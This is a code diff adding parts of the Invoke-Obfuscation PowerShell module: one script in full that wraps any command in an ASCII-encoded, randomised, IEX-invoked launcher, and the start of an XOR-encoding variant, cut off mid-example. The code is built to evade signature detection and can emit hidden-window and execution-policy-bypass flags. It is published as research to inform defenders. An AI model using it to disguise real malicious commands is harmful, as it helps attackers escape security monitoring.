alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2017 Daniel Bohannon + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/lib/powershell/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1 new file mode 100644 index 000000000..4dde3c8ac --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1 @@ -0,0 +1,380 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-EncodedAsciiCommand +{ +<# +.SYNOPSIS + +Generates ASCII encoded payload for a PowerShell command or script. Optionally it adds command line output to final command. + +Invoke-Obfuscation Function: Out-EncodedAsciiCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncodedAsciiCommand encodes an input PowerShell scriptblock or path as an ASCII payload. It randomly chooses between .Split/-Split/array syntax to store the encoded payload in the final output. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER PassThru + +(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output. + +.EXAMPLE + +C:\PS> Out-EncodedAsciiCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive + +powershell -NonIntera -NoProf "Invoke-Expression( ('87K114r105E116_101i45K72P111a115_116a32E39E72E101E108a108!111a32K87K111t114_108_100o33P39r32o45!70o111t114r101E103K114i111o117K110t100K67o111K108K111_114_32_71t114K101_101P110!59t32P87a114t105K116P101a45K72E111i115_116t32E39r79E98E102o117a115K99a97!116P105E111_110o32E82_111a99P107K115r33K39P32t45K70!111!114P101E103E114r111t117r110r100r67E111_108a111a114P32_71a114_101!101a110'-SplIt'_' -SPLit'a' -SPlIt'o' -SPlIt 'K' -SplIT 'P'-SPLit'r' -SPlIt 'E'-SPLiT '!'-SpLIt'i'-SPlIT 't'|ForEach-Object { ([Char][Int]$_)} )-Join '') " + +C:\PS> Out-EncodedAsciiCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru + + -Join ((87 , 114 , 105 , 116, 101 , 45,72,111 ,115 ,116, 32 , 39 , 72 ,101 ,108 ,108, 111 , 32, 87 , 111, 114 ,108, 100, 33, 39,32 , 45, 70,111, 114, 101 ,103,114 , 111 ,117 ,110, 100 ,67, 111,108,111 ,114 ,32 ,71,114 , 101 ,101 ,110 , 59, 32, 87, 114, 105,116, 101 ,45 , 72, 111 , 115 , 116, 32 , 39 ,79, 98 ,102, 117,115 , 99 , 97, 116, 105 ,111, 110,32 , 82 , 111 , 99 ,107, 115 ,33 , 39, 32,45, 70, 111 , 114 ,101,103, 114, 111,117 , 110 , 100 , 67 , 111,108,111, 114, 32, 71, 114, 101 , 101, 110 ) | %{ ( [Int]$_ -AS [Char])} )|IEX + +.NOTES + +Inspiration for this encoding technique came from: https://blogs.technet.microsoft.com/heyscriptingguy/2011/09/09/convert-hexadecimal-to-ascii-using-powershell/ +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Switch] + $PassThru + ) + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Create list of random delimiters $RandomDelimiters. + # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. + $RandomDelimiters = @('_','-',',','{','}','~','!','@','%','&','<','>',';',':') + + # Add letters a-z with random case to $RandomDelimiters. + @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') | ForEach-Object {$UpperLowerChar = $_; If(((Get-Random -Input @(1..2))-1 -eq 0)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $RandomDelimiters += $UpperLowerChar} + + # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. + $RandomDelimiters = (Get-Random -Input $RandomDelimiters -Count ($RandomDelimiters.Count/4)) + + # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. + $DelimitedEncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$DelimitedEncodedArray += ([String]([Int][Char]$_) + (Get-Random -Input $RandomDelimiters))} + + # Remove trailing delimiter from $DelimitedEncodedArray. + $DelimitedEncodedArray = $DelimitedEncodedArray.SubString(0,$DelimitedEncodedArray.Length-1) + + # Create printable version of $RandomDelimiters in random order to be used by final command. + $RandomDelimitersToPrint = (Get-Random -Input $RandomDelimiters -Count $RandomDelimiters.Length) -Join '' + + # Generate random case versions for necessary operations. + $ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%') + $StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax. + $RandomDelimitersToPrintForDashSplit = '' + ForEach($RandomDelimiter in $RandomDelimiters) + { + # Random case 'split' string. + $Split = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + $RandomDelimitersToPrintForDashSplit += ('-' + $Split + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimiter + "'" + ' '*(Get-Random -Input @(0,1))) + } + $RandomDelimitersToPrintForDashSplit = $RandomDelimitersToPrintForDashSplit.Trim() + + # Randomly select between various conversion syntax options. + $RandomConversionSyntax = @() + $RandomConversionSyntax += "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + "[$Int]" + ' '*(Get-Random -Input @(0,1)) + '$_' + $RandomConversionSyntax += ("[$Int]" + ' '*(Get-Random -Input @(0,1)) + '$_' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input @('-as','-As','-aS','-AS')) + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]") + $RandomConversionSyntax = (Get-Random -Input $RandomConversionSyntax) + + # Create array syntax for encoded $ScriptString as alternative to .Split/-Split syntax. + $EncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$EncodedArray += ([String]([Int][Char]$_) + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)))} + + # Remove trailing comma from $EncodedArray. + $EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')') + + # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). + # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. + # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables + $SetOfsVarSyntax = @() + $SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVar = (Get-Random -Input $SetOfsVarSyntax) + + $SetOfsVarBackSyntax = @() + $SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax) + + # Randomize case of $SetOfsVar and $SetOfsVarBack. + $SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Generate the code that will decrypt and execute the payload and randomly select one. + $BaseScriptArray = @() + $BaseScriptArray += "[$CharStr[]]" + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'." + $Split + "(" + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimitersToPrint + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'" + ' '*(Get-Random -Input @(0,1)) + $RandomDelimitersToPrintForDashSplit + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + + # Generate random JOIN syntax for all above options. + $NewScriptArray = @() + $NewScriptArray += (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''" + $NewScriptArray += $Join + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + $NewScriptArray += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + ')' + $NewScriptArray += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + + # Randomly select one of the above commands. + $NewScript = (Get-Random -Input $NewScriptArray) + + # Generate random invoke operation syntax. + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + + $NewScript = (Get-Random -Input $InvokeOptions) + + # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript. + If(!$PSBoundParameters['PassThru']) + { + # Array to store all selected PowerShell execution flags. + $PowerShellFlags = @() + + # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. + # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. + $CommandlineOptions = New-Object String[](0) + If($PSBoundParameters['NoExit']) + { + $FullArgument = "-NoExit"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile']) + { + $FullArgument = "-NoProfile"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive']) + { + $FullArgument = "-NonInteractive"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo']) + { + $FullArgument = "-NoLogo"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to write WindowStyle value with flag substring or integer value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the execution flags. + # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags. + If($CommandlineOptions.Count -gt 1) + { + $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command']) + { + $FullArgument = "-Command" + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Random-sized whitespace between all execution flags and encapsulating final string of execution flags. + $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3) + + # Build up the full command-line string. + If($PSBoundParameters['Wow64']) + { + # A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution + $CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`"" + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + $CmdMaxLength = 8190 + If($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + } + + $NewScript = $CommandLineOutput + } + + Return $NewScript +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1 new file mode 100644 index 000000000..9a46581ea --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1 @@ -0,0 +1,399 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-EncodedBXORCommand +{ +<# +.SYNOPSIS + +Generates BXOR (bitwise XOR) encoded payload for a PowerShell command or script. Optionally it adds command line output to final command. + +Invoke-Obfuscation Function: Out-EncodedBXORCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncodedBXORCommand encodes an input PowerShell scriptblock or path as an bitwise XOR'd payload. It randomly chooses between .Split/-Split/array syntax to store the encoded payload in the final output. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER PassThru + +(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output. + +.EXAMPLE + +C:\PS> Out-EncodedBXORCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive + +powershell -NoProfil -NonInter "((97,68 ,95 ,66,83 , 27 , 126, 89 , 69 , 66 ,22 ,17 , 126,83,90 , 90 ,89,22 , 97,89, 68 ,90 ,82 , 23 , 17 ,22 , 27 , 112, 89 ,68, 83 , 81,68 , 89,67 ,88 , 82 ,117, 89 , 90,89, 68 , 22 ,113,68 , 83,8 +3 ,88,13 , 22,97,68 , 95,66 , 83,27 ,126,89 , 69 , 66 , 22 , 17 , 121,84, 80, 67 ,69,85,87, 66,95, 89, 88 , 22, 100 ,89, 85, 93 , 69, 23, 17 ,22,27 , 112,89 ,68 ,83 ,81 , 68 , 89, 67, 88 ,82,117, 89,90 , 89, 68,22 ,113,68, 83 , 83,88 ) +| fOREACh-objEct{[ChAR]($_ -bxoR'0x36' )} )-jOIn'' | InVOKE-ExpressIon" + +C:\PS> Out-EncodedBXORCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru + +( ( 180,145 , 138 ,151, 134, 206 ,171 , 140, 144 ,151 , 195 ,196 , 171 ,134, 143 ,143,140 , 195 ,180, 140 , 145 ,143,135 , 194,196 , 195, 206, 165,140 ,145,134,132,145,140 , 150 